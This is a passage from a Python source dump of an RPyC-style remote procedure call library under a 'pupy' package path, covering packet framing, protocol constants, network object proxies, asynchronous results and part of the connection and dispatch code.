        """polls the underlying steam for data, waiting up to *timeout* seconds"""
        return self.stream.poll(timeout)

    def recv(self):
        """Receives the next packet (or *frame*) from the underlying stream.
        This method will block until the packet has been read completely

        :returns: string of data
        """
        header = self.stream.read(self.FRAME_HEADER.size)
        length, compressed = self.FRAME_HEADER.unpack(header)
        data = self.stream.read(length)

        self.stream.read(len(self.FLUSHER))

        if compressed:
            data = zlib.decompress(data)

        return data

    def send(self, data):
        """Sends the given string of data as a packet over the underlying
        stream. Blocks until the packet has been sent.

        :param data: the byte string to send as a packet
        """
        if self.compress and len(data) > self.COMPRESSION_THRESHOLD:
            compressed = 1
            data = zlib.compress(data)
        else:
            compressed = 0

        self.stream.write(self.FRAME_HEADER.pack(len(data), compressed))
        self.stream.write(data)
        self.stream.write(self.FLUSHER)


================================================
FILE: pupy/network/lib/rpc/core/consts.py
================================================
"""
Constants used by the protocol
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

# messages
MSG_REQUEST      = 1
MSG_REPLY        = 2
MSG_EXCEPTION    = 3

# boxing
LABEL_VALUE      = 1
LABEL_TUPLE      = 2
LABEL_LOCAL_REF  = 3
LABEL_REMOTE_REF = 4

LABEL_V1_SET     = 5
LABEL_V1_DICT    = 6
LABEL_V1_NAMED_TUPLE = 7
LABEL_V1_LIST    = 8

# action handlers
HANDLE_PING        = 1
HANDLE_CLOSE       = 2
HANDLE_GETROOT     = 3
HANDLE_GETATTR     = 4
HANDLE_DELATTR     = 5
HANDLE_SETATTR     = 6
HANDLE_CALL        = 7
HANDLE_CALLATTR    = 8
HANDLE_REPR        = 9
HANDLE_STR         = 10
HANDLE_CMP         = 11
HANDLE_HASH        = 12
HANDLE_DIR         = 13
HANDLE_PICKLE      = 14
HANDLE_DEL         = 15
HANDLE_INSPECT     = 16
HANDLE_BUFFITER    = 17
HANDLE_OLDSLICING  = 18
HANDLE_MAX         = 19

# optimized exceptions
EXC_STOP_ITERATION = 1


================================================
FILE: pupy/network/lib/rpc/core/netref.py
================================================

"""
**NetRef**: a transparent *network reference*. This module contains quite a lot
of *magic*, so beware.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys
import inspect
import types

from pupy.network.lib.compat import (
    pickle, is_py3k, maxint, as_native_string
)

from . import consts


_local_netref_attrs = frozenset([
    '____conn__', '____oid__', '____refcount__', '___async_call__',
    '___methods__',

    '__class__', '__cmp__',
    '__del__', '__delattr__',
    '__dir__', '__doc__', '__getattr__', '__getattribute__', '__hash__',
    '__init__', '__metaclass__', '__module__', '__new__', '__reduce__',
    '__reduce_ex__', '__repr__', '__setattr__', '__slots__', '__str__',
    '__weakref__', '__dict__', '__members__'
])
"""the set of attributes that are local to the netref object"""

_builtin_types = [
    type, object, bool, complex, dict, float, int, list,
    slice, str, tuple, set, frozenset, Exception, type(None),
    types.BuiltinFunctionType, types.GeneratorType,
    types.MethodType, types.CodeType, types.FrameType,
    types.TracebackType, types.ModuleType, types.FunctionType,

    type(int.__add__),      # wrapper_descriptor
    type((1).__add__),      # method-wrapper
    type(iter([])),         # listiterator
    type(iter(())),         # tupleiterator
    type(iter(set())),      # setiterator
]

"""a list of types considered built-in (shared between connections)"""

try:
    BaseException
except NameError:
    pass
else:
    _builtin_types.append(BaseException)

if is_py3k:
    _builtin_types.extend([
        bytes, bytearray, type(iter(range(10))), memoryview,
    ])
    xrange = range
else:
    _builtin_types.extend([
        basestring, unicode, long, xrange, type(iter(xrange(10))), file,
        types.InstanceType, type, types.DictProxyType,
    ])

_normalized_builtin_types = dict(
    ((t.__name__, t.__module__), t)
    for t in _builtin_types
)


class byref(object):
    __slots__ = ('object',)

    def __init__(self, obj):
        self.object = obj


def syncreq(proxy, handler, *args):
    """Performs a synchronous request on the given proxy object.
    Not intended to be invoked directly.

    :param proxy: the proxy on which to issue the request
    :param handler: the request handler (one of the ``HANDLE_XXX`` members of
                    ``.protocol.consts``)
    :param args: arguments to the handler

    :raises: any exception raised by the operation will be raised
    :returns: the result of the operation
    """
    conn = object.__getattribute__(proxy, "____conn__")()
    if not conn:
        raise ReferenceError('weakly-referenced object no longer exists')
    oid = object.__getattribute__(proxy, "____oid__")
    return conn.sync_request(handler, oid, *args)


def asyncreq(proxy, handler, *args):
    """Performs an asynchronous request on the given proxy object.
    Not intended to be invoked directly.

    :param proxy: the proxy on which to issue the request
    :param handler: the request handler (one of the ``HANDLE_XXX`` members of
                    ``.protocol.consts``)
    :param args: arguments to the handler

    :returns: an :class:`AsyncResult <.core.async.AsyncResult>` representing
              the operation
    """
    conn = object.__getattribute__(proxy, "____conn__")()
    if not conn:
        raise ReferenceError('weakly-referenced object no longer exists')
    oid = object.__getattribute__(proxy, "____oid__")
    return conn.async_request(handler, oid, *args)


class NetrefMetaclass(type):
    """A *metaclass* used to customize the ``__repr__`` of ``netref`` classes.
    It is quite useless, but it makes debugging and interactive programming
    easier"""

    __slots__ = ()

    def __repr__(self):
        if self.__module__:
            return "<netref class '%s.%s'>" % (self.__module__, self.__name__)
        else:
            return "<netref class '%s'>" % (self.__name__,)


class BaseNetref(object):
    """The base netref class, from which all netref classes derive. Some netref
    classes are "pre-generated" and cached upon importing this module (those
    defined in the :data:`_builtin_types`), and they are shared between all
    connections.

    The rest of the netref classes are created by
    :meth:`.core.protocl.Connection._unbox`, and are private to the connection.

    Do not use this class directly; use :func:`class_factory` instead.

    :param conn: the :class:`.core.protocol.Connection` instance
    :param oid: the unique object ID of the remote object
    """
    # this is okay with py3k -- see below

    __metaclass__ = NetrefMetaclass
    __slots__ = (
        '____conn__', '____oid__', '__weakref__', '____refcount__',
        '___async_call__'
    )

    def __init__(self, conn, oid):
        self.____conn__ = conn
        self.____oid__ = oid
        self.____refcount__ = 1
        self.___async_call__ = None

    def __del__(self):
        # print('DEL', repr((type(self), repr(self))))
        try:
            asyncreq(self, consts.HANDLE_DEL, self.____refcount__)
        except Exception:
            # raised in a destructor, most likely on program termination,
            # when the connection might have already been closed.
            # it's safe to ignore all exceptions here
            pass

    def __getattribute__(self, name):
        methods = object.__getattribute__(self, '___methods__')
        method = methods.get(name)
        if method is not None:
            bound_method = method.__get__(self)
            setattr(
                bound_method, '___async_call__',
                method.___async_call__.__get__(self)
            )

            return bound_method

        if name in _local_netref_attrs:
            if name == '__class__':
                cls = object.__getattribute__(self, '__class__')
                if cls is None:
                    cls = self.__getattr__('__class__')
                return cls
            elif name == '__doc__':
                return self.__getattr__('__doc__')
            elif name == '__members__':  # for Python < 2.6
                return self.__dir__()
            elif name == '___async_call__':
                call = methods.get('__call__')
                if call is None:
                    return None

                return call.___async_call__.__get__(self)
            else:
                return object.__getattribute__(self, name)
        elif name == '__call__':  # IronPython issue #10
            return object.__getattribute__(self, '__call__')
        else:
            # print('GETATTRIBUTE', repr((type(self), repr(name), repr(self))))
            return syncreq(self, consts.HANDLE_GETATTR, name)

    def __getattr__(self, name):
        # print('GETATTR', repr((type(self), name)))
        return syncreq(
            self, consts.HANDLE_GETATTR,
            as_native_string(name)
        )

    def __delattr__(self, name):
        if name in _local_netref_attrs:
            object.__delattr__(
                self, as_native_string(name)
            )
        else:
            # print('DELATTR', repr((type(self), name)))
            asyncreq(
                self, consts.HANDLE_DELATTR,
                as_native_string(name)
            )

    def __setattr__(self, name, value):
        if name in _local_netref_attrs:
            object.__setattr__(
                self, as_native_string(name), value
            )
        else:
            # print('SETATTR', repr((type(self), name)))
            asyncreq(
                self, consts.HANDLE_SETATTR,
                as_native_string(name), value
            )

    def __dir__(self):
        # print('DIR', repr((type(self))))
        return list(
            as_native_string(key) for key in syncreq(
                self, consts.HANDLE_DIR
            )
        )

    # support for metaclasses
    def __hash__(self):
        # print('HASH', repr((type(self))))
        return syncreq(self, consts.HANDLE_HASH)

    def __iter__(self):
        # print('ITER', repr((type(self))))
        return syncreq(
            self, consts.HANDLE_CALLATTR, '__iter__'
        )

    def __cmp__(self, other):
        # print('CMP', repr((type(self))))
        return syncreq(self, consts.HANDLE_CMP, other)

    def __repr__(self):
        # print('REPR', repr((type(self))))
        # __repr__ MUST return string
        return as_native_string(syncreq(self, consts.HANDLE_REPR))

    def __str__(self):
        # print('STR', repr((type(self))))
        # __str__ MUST return string
        return as_native_string(syncreq(self, consts.HANDLE_STR))

    # support for pickling netrefs
    def __reduce_ex__(self, proto):
        return pickle.loads, (syncreq(self, consts.HANDLE_PICKLE, proto),)


if not isinstance(BaseNetref, NetrefMetaclass):
    # python 2 and 3 compatibe metaclass...
    ns = dict(BaseNetref.__dict__)
    for slot in BaseNetref.__slots__:
        ns.pop(slot)
    BaseNetref = NetrefMetaclass(BaseNetref.__name__, BaseNetref.__bases__, ns)


def _make_method(name, doc):
    """creates a method with the given name and docstring that invokes
    :func:`syncreq` on its `self` argument"""

    slicers = {
        '__getslice__': '__getitem__',
        '__delslice__': '__delitem__',
        '__setslice__': '__setitem__'
    }

    name = as_native_string(name)  # IronPython issue #10
    if name == '__call__':
        def __call__(_self, *args, **kwargs):
            kwargs = tuple(kwargs.items())

            return syncreq(_self, consts.HANDLE_CALL, args, kwargs)

        def ___async_call__(_self, *args, **kwargs):
            kwargs = tuple(kwargs.items())

            return asyncreq(_self, consts.HANDLE_CALL, args, kwargs)

        __call__.__doc__ = doc
        ___async_call__.__doc__ = doc + ' (async)'

        setattr(__call__, '___async_call__', ___async_call__)
        setattr(___async_call__, '___async_call__', ___async_call__)
        return __call__

    elif name in slicers:
        def method(self, start, stop, *args):
            if stop == maxint:
                stop = None

            return syncreq(
                self, consts.HANDLE_OLDSLICING, slicers[name],
                name, start, stop, args
            )

        def async_method(self, start, stop, *args):
            if stop == maxint:
                stop = None

            return asyncreq(
                self, consts.HANDLE_OLDSLICING, slicers[name],
                name, start, stop, args
            )

        method.__name__ = name
        method.__doc__ = doc

        async_method.__name__ = name
        async_method.__doc__ = doc + ' (async)'

        setattr(method, '___async_call__', async_method)
        setattr(async_method, '___async_call__', async_method)
        return method

    else:
        def method(_self, *args, **kwargs):
            kwargs = tuple(kwargs.items())
            return syncreq(
                _self, consts.HANDLE_CALLATTR, name, args, kwargs
            )

        def async_method(_self, *args, **kwargs):
            # print("ASYNC METHOD CALL ARGS", _self, args, kwargs)
            kwargs = tuple(kwargs.items())
            return asyncreq(
                _self, consts.HANDLE_CALLATTR, name, args, kwargs
            )

        method.__name__ = name
        method.__doc__ = doc

        async_method.__name__ = name
        async_method.__doc__ = doc + ' (async)'

        setattr(method, '___async_call__', async_method)
        setattr(async_method, '___async_call__', async_method)
        return method


def inspect_methods(obj):
    """introspects the given (local) object, returning a list of all of its
    methods (going up the MRO).

    :param obj: any local (not proxy) python object

    :returns: a list of ``(method name, docstring)`` tuples of all the methods
              of the given object
    """
    methods = {}
    attrs = {}
    if isinstance(obj, type):
        # don't forget the darn metaclass
        mros = list(reversed(type(obj).__mro__)) + list(reversed(obj.__mro__))
    else:
        mros = reversed(type(obj).__mro__)
    for basecls in mros:
        attrs.update(basecls.__dict__)
    for name, attr in attrs.items():
        if name not in _local_netref_attrs and hasattr(attr, "__call__"):
            methods[name] = inspect.getdoc(attr)
    return methods.items()


def class_factory(clsname, modname, methods):
    """Creates a netref class proxying the given class

    :param clsname: the class's name
    :param modname: the class's module name
    :param methods: a list of ``(method name, docstring)`` tuples, of the methods
                    that the class defines

    :returns: a netref class
    """
    clsname = as_native_string(clsname)
    modname = as_native_string(modname)

    ns = {
        '__slots__': (),
        '___methods__': {}
    }

    for name, doc in methods:
        name = as_native_string(name)
        doc = as_native_string(doc) if doc else ''

        if name == 'next':
            ns['__next__'] = _make_method(name, doc)

        if name not in _local_netref_attrs:
            wrapper = _make_method(name, doc)
            ns[name] = wrapper
            ns['___methods__'][name] = wrapper

    ns['__module__'] = modname

    if modname in sys.modules and hasattr(sys.modules[modname], clsname):
        ns['__class__'] = getattr(sys.modules[modname], clsname)

    elif (clsname, modname) in _normalized_builtin_types:
        ns['__class__'] = _normalized_builtin_types[clsname, modname]

    else:
        # to be resolved by the instance
        ns['__class__'] = None

    return type(clsname, (BaseNetref,), ns)


builtin_classes_cache = {}
"""The cache of built-in netref classes (each of the types listed in
:data:`_builtin_types`). These are shared between all  connections"""


# init the builtin_classes_cache
for cls in _builtin_types:
    builtin_classes_cache[cls.__name__, cls.__module__] = class_factory(
        cls.__name__, cls.__module__, inspect_methods(cls))


================================================
FILE: pupy/network/lib/rpc/core/nowait.py
================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import time


class AsyncResultTimeout(Exception):
    """an exception that represents an :class:`AsyncResult` that has timed out"""
    pass


class AsyncResult(object):
    """*AsyncResult* represents a computation that occurs in the background and
    will eventually have a result. Use the :attr:`value` property to access the
    result (which will block if the result has not yet arrived).
    """
    __slots__ = ["_conn", "_is_ready", "_is_exc", "_callbacks", "_obj", "_ttl"]

    def __init__(self, conn):
        self._conn = conn
        self._is_ready = False
        self._is_exc = None
        self._obj = None
        self._callbacks = []
        self._ttl = None

    def __repr__(self):
        if self._is_ready:
            state = "ready"
        elif self._is_exc:
            state = "error"
        elif self.expired:
            state = "expired"
        else:
            state = "pending"
        return "<AsyncResult object (%s) at 0x%08x>" % (state, id(self))

    def __call__(self, is_exc, obj):
        if self.expired:
            return
        self._is_exc = is_exc
        self._obj = obj
        self._is_ready = True
        for cb in self._callbacks:
            cb(self)
        del self._callbacks[:]

    def wait(self):
        """Waits for the result to arrive. If the AsyncResult object has an
        expiry set, and the result did not arrive within that timeout,
        an :class:`AsyncResultTimeout` exception is raised"""
        if self._is_ready:
            return
        if self._ttl is None:
            while not self._is_ready:
                self._conn.serve()
        else:
            while True:
                timeout = self._ttl - time.time()
                self._conn.poll(timeout = max(timeout, 0))
                if self._is_ready:
                    break
                if timeout <= 0:
                    raise AsyncResultTimeout("result expired")

    def add_callback(self, func):
        """Adds a callback to be invoked when the result arrives. The callback
        function takes a single argument, which is the current AsyncResult
        (``self``). If the result has already arrived, the function is invoked
        immediately.

        :param func: the callback function to add
        """
        if self._is_ready:
            func(self)
        else:
            self._callbacks.append(func)

    def set_expiry(self, timeout):
        """Sets the expiry time (in seconds, relative to now) or ``None`` for
        unlimited time

        :param timeout: the expiry time in seconds or ``None``
        """
        if timeout is None:
            self._ttl = None
        else:
            self._ttl = time.time() + timeout

    @property
    def ready(self):
        """Indicates whether the result has arrived"""
        if self.expired:
            return False
        if not self._is_ready:
            self._conn.poll_all()
        return self._is_ready

    @property
    def error(self):
        """Indicates whether the returned result is an exception"""
        if self.ready:
            return self._is_exc
        return False

    @property
    def expired(self):
        """Indicates whether the AsyncResult has expired"""
        if self._is_ready or self._ttl is None:
            return False
        else:
            return time.time() > self._ttl

    @property
    def value(self):
        """Returns the result of the operation. If the result has not yet
        arrived, accessing this property will wait for it. If the result does
        not arrive before the expiry time elapses, :class:`AsyncResultTimeout`
        is raised. If the returned result is an exception, it will be raised
        here. Otherwise, the result is returned directly.
        """
        self.wait()
        if self._is_exc:
            raise self._obj
        else:
            return self._obj


================================================
FILE: pupy/network/lib/rpc/core/protocol.py
================================================
"""
The  protocol
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys
import weakref
import itertools
import socket
import time

from threading import Lock, RLock, Event, Thread
from pupy.network.lib.compat import (
    pickle, next, is_py3k, maxint, select_error, as_native_string
)
from ..lib.colls import WeakValueDict, RefCountingColl
from ..lib import get_methods
from . import consts, brine, vinegar, netref
from .nowait import AsyncResult


class PingError(Exception):
    """The exception raised should :func:`Connection.ping` fail"""
    pass


DEFAULT_CONFIG = {
    # ATTRIBUTES
    'allow_safe_attrs': True,
    'allow_exposed_attrs': True,
    'allow_public_attrs': False,
    'allow_all_attrs': False,
    'safe_attrs': {
        '__abs__', '__add__', '__and__', '__bool__', '__cmp__', '__contains__',
        '__delitem__', '__delslice__', '__div__', '__divmod__', '__doc__',
        '__eq__', '__float__', '__floordiv__', '__ge__', '__getitem__',
        '__getslice__', '__gt__', '__hash__', '__hex__', '__iadd__',
        '__iand__', '__idiv__', '__ifloordiv__', '__ilshift__', '__imod__',
        '__imul__', '__index__', '__int__', '__invert__', '__ior__',
        '__ipow__', '__irshift__', '__isub__', '__iter__', '__itruediv__',
        '__ixor__', '__le__', '__len__', '__long__', '__lshift__', '__lt__',
        '__mod__', '__mul__', '__ne__', '__neg__', '__new__', '__nonzero__',
        '__oct__', '__or__', '__pos__', '__pow__', '__radd__', '__rand__',
        '__rdiv__', '__rdivmod__', '__repr__', '__rfloordiv__', '__rlshift__',
        '__rmod__', '__rmul__', '__ror__', '__rpow__', '__rrshift__',
        '__rshift__', '__rsub__', '__rtruediv__', '__rxor__', '__setitem__',
        '__setslice__', '__str__', '__sub__', '__truediv__', '__xor__', 'next',
        '__length_hint__', '__enter__', '__exit__', '__next__'
    },

    'exposed_prefix': 'exposed_',
    'allow_getattr': True,
    'allow_setattr': False,
    'allow_delattr': False,

    # EXCEPTIONS
    'include_local_traceback': True,
    'instantiate_custom_exceptions': False,
    'import_custom_exceptions': False,

    # which don't derive from Exception
    'instantiate_oldstyle_exceptions': False,

    # whether to propagate SystemExit locally or to the other party
    'propagate_SystemExit_locally': False,

    # whether to propagate KeyboardInterrupt locally or to the other party
    'propagate_KeyboardInterrupt_locally': True,
    'log_exceptions': True,

    # MISC
    'allow_pickle': False,
    'connid': None,
    'credentials': None,
    'endpoints': None,
    'logger': None,
    'sync_request_timeout': 30,
}


"""
The default configuration dictionary of the protocol. You can override these
parameters
by passing a different configuration dict to the :class:`Connection` class.

.. note::
   You only need to override the parameters you want to change. There's no need
   to repeat parameters whose values remain unchanged.

=======================================  ================  =====================================================
Parameter                                Default value     Description
=======================================  ================  =====================================================
``allow_safe_attrs``                     ``True``          Whether to allow the use of *safe* attributes
                                                           (only those listed as ``safe_attrs``)
``allow_exposed_attrs``                  ``True``          Whether to allow exposed attributes
                                                           (attributes that start with the ``exposed_prefix``)
``allow_public_attrs``                   ``False``         Whether to allow public attributes
                                                           (attributes that don't start with ``_``)
``allow_all_attrs``                      ``False``         Whether to allow all attributes (including private)
``safe_attrs``                           ``set([...])``    The set of attributes considered safe
``exposed_prefix``                       ``"exposed_"``    The prefix of exposed attributes
``allow_getattr``                        ``True``          Whether to allow getting of attributes (``getattr``)
``allow_setattr``                        ``False``         Whether to allow setting of attributes (``setattr``)
``allow_delattr``                        ``False``         Whether to allow deletion of attributes (``delattr``)
``allow_pickle``                         ``False``         Whether to allow the use of ``pickle``

``include_local_traceback``              ``True``          Whether to include the local traceback
                                                           in the remote exception
``instantiate_custom_exceptions``        ``False``         Whether to allow instantiation of
                                                           custom exceptions (not the built in ones)
``import_custom_exceptions``             ``False``         Whether to allow importing of
                                                           exceptions from not-yet-imported modules
``instantiate_oldstyle_exceptions``      ``False``         Whether to allow instantiation of exceptions
                                                           which don't derive from ``Exception``. This
                                                           is not applicable for Python 3 and later.
``propagate_SystemExit_locally``         ``False``         Whether to propagate ``SystemExit``
                                                           locally (kill the server) or to the other
                                                           party (kill the client)
``propagate_KeyboardInterrupt_locally``  ``False``         Whether to propagate ``KeyboardInterrupt``
                                                           locally (kill the server) or to the other
                                                           party (kill the client)
``logger``                               ``None``          The logger instance to use to log exceptions
                                                           (before they are sent to the other party)
                                                           and other events. If ``None``, no logging takes place.

``connid``                               ``None``          **Runtime**: the  connection ID (used
                                                           mainly for debugging purposes)
``credentials``                          ``None``          **Runtime**: the credentails object that was returned
                                                           by the server's :ref:`authenticator <api-authenticators>`
                                                           or ``None``
``endpoints``                            ``None``          **Runtime**: The connection's endpoints. This is a tuple
                                                           made of the local socket endpoint (``getsockname``) and the
                                                           remote one (``getpeername``). This is set by the server
                                                           upon accepting a connection; client side connections
                                                           do no have this configuration option set.

``sync_request_timeout``                 ``30``            Default timeout for waiting results
=======================================  ================  =====================================================
"""

list_keys_type = type({}.keys())

_connection_id_generator = itertools.count(1)


class Connection(object):
    """The  *connection* (AKA *protocol*).

    :param service: the :class:`Service <.core.service.Service>` to expose
    :param channel: the :class:`Channel <.core.channel.Channel>` over which messages are passed
    :param config: the connection's configuration dict (overriding parameters
                   from the :data:`default configuration <DEFAULT_CONFIG>`)
    :param _lazy: whether or not to initialize the service with the creation of
                  the connection. Default is True. If set to False, you will
                  need to call :func:`_init_service` manually later
    """

    __slots__ = (
        '__weakref__',

        '_closed', '_config', '_config', '_channel', '_seqcounter',
        '_recvlock', '_sendlock', '_sync_replies', '_sync_lock',
        '_sync_event', '_async_callbacks', '_local_objects',
        '_last_traceback', '_proxy_cache', '_netref_classes_cache',
        '_remote_root', '_send_queue', '_local_root', '_closed'
    )

    def __init__(self, service, channel, config={}, _lazy=False):
        self._closed = True
        self._config = DEFAULT_CONFIG.copy()
        self._config.update(config)

        if self._config["connid"] is None:
            self._config["connid"] = "conn%d" % (
                next(_connection_id_generator),
            )

        self._channel = channel
        self._seqcounter = itertools.count()
        self._recvlock = Lock()
        self._sendlock = Lock()
        self._sync_replies = {}
        self._sync_lock = RLock()
        self._sync_event = Event()
        self._async_callbacks = {}
        self._local_objects = RefCountingColl()
        self._last_traceback = None
        self._proxy_cache = WeakValueDict()
        self._netref_classes_cache = {}
        self._remote_root = None
        self._send_queue = []
        self._local_root = service(weakref.proxy(self))
        if not _lazy:
            self._init_service()
        self._closed = False

    def _init_service(self):
        self._local_root.on_connect()

    def __del__(self):
        self.close()

    def __enter__(self):
        return self

    def __exit__(self, t, v, tb):
        self.close()

    def __repr__(self):
        a, b = object.__repr__(self).split(" object ")
        return "%s %r object %s" % (a, self._config["connid"], b)

    #
    # IO
    #
    def _cleanup(self, _anyway=True):
        if self._closed and not _anyway:
            return
        self._closed = True
        self._channel.close()
        self._local_root.on_disconnect()
        self._sync_replies.clear()
        self._async_callbacks.clear()
        self._local_objects.clear()
        self._proxy_cache.clear()
        self._netref_classes_cache.clear()
        self._last_traceback = None
        self._remote_root = None
        self._local_root = None

    def close(self, _catchall=True):
        """closes the connection, releasing all held resources"""
        if self._closed:
            return
        self._closed = True
        try:
            self._async_request(consts.HANDLE_CLOSE)
        except EOFError:
            pass
        except Exception:
            if not _catchall:
                raise
        finally:
            self._cleanup(_anyway=True)

    @property
    def closed(self):
        """Indicates whether the connection has been closed or not"""
        return self._closed

    def fileno(self):
        """Returns the connectin's underlying file descriptor"""
        return self._channel.fileno()

    def ping(self, data=None, timeout=3):
        """
        Asserts that the other party is functioning properly, by making sure
        the *data* is echoed back before the *timeout* expires

        :param data: the data to send (leave ``None`` for the default buffer)
        :param timeout: the maximal time to wait for echo

        :raises: :class:`PingError` if the echoed data does not match
        """
        if data is None:
            data = b'abcdefghijklmnopqrstuvwxyz' * 20
        res = self.async_request(
            consts.HANDLE_PING, data, timeout=timeout
        )
        if res.value != data:
            raise PingError("echo mismatches sent data")

    def _get_seq_id(self):
        return next(self._seqcounter)

    def _send(self, msg, seq, args, version):
        data = brine.dump((msg, seq, args), version)
        # GC might run while sending data
        # if so, a BaseNetref.__del__ might be called
        # BaseNetref.__del__ must call asyncreq,
        # which will cause a deadlock
        # Solution:
        # Add the current request to a queue and let the thread that currently
        # holds the sendlock send it when it's done with its current job.
        # NOTE: Atomic list operations should be thread safe,
        # please call me out if they are not on all implementations!
        self._send_queue.append(data)
        # It is crucial to check the queue each time AFTER releasing the lock:
        while self._send_queue:
            if not self._sendlock.acquire(False):
                # Another thread holds the lock. It will send the data after
                # it's done with its current job. We can safely return.
                return
            try:
                # Can happen if another consumer was scheduled in between
                # `while` and `acquire`:
                if not self._send_queue:
                    # Must `continue` to ensure that `send_queue` is checked
                    # after releasing the lock! (in case another producer is
                    # scheduled before `release`)
                    continue
                data = self._send_queue.pop(0)
                self._channel.send(data)
            finally:
                self._sendlock.release()

    def _send_request(self, seq, handler, args, version=0):
        self._send(
            consts.MSG_REQUEST, seq, (
                handler, self._box(args, version)
            ), version
        )

    def _send_reply(self, seq, obj, version=0):
        self._send(
            consts.MSG_REPLY, seq, self._box(obj, version),
            version
        )

    def _send_exception(self, seq, exctype, excval, exctb, version):
        exc = vinegar.dump(
            exctype, excval, exctb,
            self._config["include_local_traceback"],
            version
        )
        self._send(
            consts.MSG_EXCEPTION, seq, exc, version
        )

    #
    # boxing
    #
    def _box(self, obj, version=0, copy_mutable=True):
        """store a local object in such a way that it could be recreated on
        the remote party either by-value or by-reference"""

        if isinstance(obj, netref.byref):
            obj = obj.object
            copy_mutable = False

        if brine.dumpable(obj, version, copy_mutable=copy_mutable):
            return consts.LABEL_VALUE, obj

        elif type(obj) is tuple:
            return consts.LABEL_TUPLE, tuple(
                self._box(item, version, copy_mutable) for item in obj
            )

        elif isinstance(obj, netref.BaseNetref) and obj.____conn__() is self:
            return consts.LABEL_LOCAL_REF, obj.____oid__

        elif version > 0:
            if copy_mutable and type(obj) is set:
                return consts.LABEL_V1_SET, tuple(
                    self._box(item, version, copy_mutable) for item in obj
                )
            elif (copy_mutable and type(obj) is list) or (
                    is_py3k and type(obj) is list_keys_type):
                return consts.LABEL_V1_LIST, tuple(
                    self._box(item, version, copy_mutable) for item in obj
                )

            elif copy_mutable and type(obj) is dict:
                return consts.LABEL_V1_DICT, tuple(
                    (
                        self._box(key, version, copy_mutable),
                        self._box(value, version, copy_mutable)
                    ) for key, value in obj.items()
                )
            elif isinstance(obj, tuple) and \
                    type(obj) in brine.REGISTERED_NAMED_TUPLES_PACK:
                return consts.LABEL_V1_NAMED_TUPLE, (
                    brine.REGISTERED_NAMED_TUPLES_PACK[type(obj)],
                    tuple(
                        self._box(item, version, copy_mutable) for item in obj
                    )
                )

        self._local_objects.add(obj)
        try:
            cls = obj.__class__
        except Exception:
            # see issue #16
            cls = type(obj)

        if not isinstance(cls, type):
            cls = type(obj)

        return consts.LABEL_REMOTE_REF, (
            id(obj), cls.__name__, cls.__module__
        )

    def _unbox(self, package, version=0):
        """recreate a local object representation of the remote object: if the
        object is passed by value, just return it; if the object is passed by
        reference, create a netref to it"""

        label, value = package
        if label == consts.LABEL_VALUE:
            return value
        elif label == consts.LABEL_TUPLE:
            return tuple(self._unbox(item, version) for item in value)
        elif label == consts.LABEL_LOCAL_REF:
            return self._local_objects[value]
        elif label == consts.LABEL_REMOTE_REF:
            oid, clsname, modname = value
            if oid in self._proxy_cache:
                proxy = self._proxy_cache[oid]
                # other side increased refcount on boxing,
                # if I'm returning from cache instead of new object,
                # must increase refcount to match
                proxy.____refcount__ += 1
                return proxy

            proxy = self._netref_factory(oid, clsname, modname)
            self._proxy_cache[oid] = proxy
            return proxy
        elif version > 0:
            if label == consts.LABEL_V1_SET:
                return set(
                    self._unbox(item, version) for item in value
                )
            elif label == consts.LABEL_V1_LIST:
                return list(
                    self._unbox(item, version) for item in value
                )
            elif label == consts.LABEL_V1_NAMED_TUPLE:
                tuple_id, values = value
                if tuple_id not in brine.REGISTERED_NAMED_TUPLES_UNPACK:
                    raise ValueError('Unexpected tuple id %s' % (tuple_id,))

                tuple_type = brine.REGISTERED_NAMED_TUPLES_UNPACK[tuple_id]
                return tuple_type(*tuple(
                    self._unbox(item, version) for item in values
                ))
            elif label == consts.LABEL_V1_DICT:
                return {
                    self._unbox(key, version): self._unbox(value, version)
                    for (key, value) in value
                }

        raise ValueError("invalid label %r" % (label,))

    def _netref_factory(self, oid, clsname, modname):
        typeinfo = (clsname, modname)
        if typeinfo in self._netref_classes_cache:
            cls = self._netref_classes_cache[typeinfo]
        elif typeinfo in netref.builtin_classes_cache:
            cls = netref.builtin_classes_cache[typeinfo]
        else:
            info = self.sync_request(consts.HANDLE_INSPECT, oid)
            cls = netref.class_factory(clsname, modname, info)
            self._netref_classes_cache[typeinfo] = cls
        return cls(weakref.ref(self), oid)

    #
    # dispatching
    #
    def _dispatch_request(self, seq, raw_args, version):
        try:
            handler, args = raw_args
            args = self._unbox(args, version)
            res = self._HANDLERS[handler](self, *args)
        except Exception:
            # need to catch old style exceptions too
            t, v, tb = sys.exc_info()
            self._last_traceback = tb
            logger = self._config["logger"]
            if logger and t is not StopIteration:
                logger.debug("Exception caught", exc_info=True)
            if t is SystemExit and self._config[
                    "propagate_SystemExit_locally"]:
                raise
            if t is KeyboardInterrupt and self._config[
                    "propagate_KeyboardInterrupt_locally"]:
                raise
            self._send_exception(seq, t, v, tb, version)
        else:
            self._send_reply(seq, res, version)

    def _dispatch_reply(self, seq, raw, version):
        obj = self._unbox(raw, version)
        if seq in self._async_callbacks:
            self._async_callbacks.pop(seq)(False, obj)
        else:
            self._sync_replies[seq] = (False, obj)

    def _dispatch_exception(self, seq, raw, version):
        obj = vinegar.load(
            raw,
            import_custom_exceptions=self._config["import_custom_exceptions"],
            instantiate_custom_exceptions=self._config[
                "instantiate_custom_exceptions"],
            instantiate_oldstyle_exceptions=self._config[
                "instantiate_oldstyle_exceptions"])
        if seq in self._async_callbacks:
            self._async_callbacks.pop(seq)(True, obj)
        else:
            self._sync_replies[seq] = (True, obj)

    #
    # serving
    #
    def _recv(self, timeout, wait_for_lock):
        if not self._recvlock.acquire(wait_for_lock):
            return None
        try:
            if self._channel.poll(timeout):
                data = self._channel.recv()
            else:
                data = None
        except EOFError:
            self.close()
            raise
        finally:
            self._recvlock.release()
        return data

    def _dispatch(self, data, version=0):
        msg, seq, args = brine.load(data, version)
        if msg == consts.MSG_REQUEST:
            self._dispatch_request(seq, args, version)
        elif msg == consts.MSG_REPLY:
            self._dispatch_reply(seq, args, version)
        elif msg == consts.MSG_EXCEPTION:
            self._dispatch_exception(seq, args, version)
        else:
            raise ValueError("invalid message type: %r" % (msg,))

    def sync_recv_and_dispatch(self, timeout, wait_for_lock):
        # lock or wait for signal
        if self._sync_lock.acquire(False):
            try:
                self._sync_event.clear()
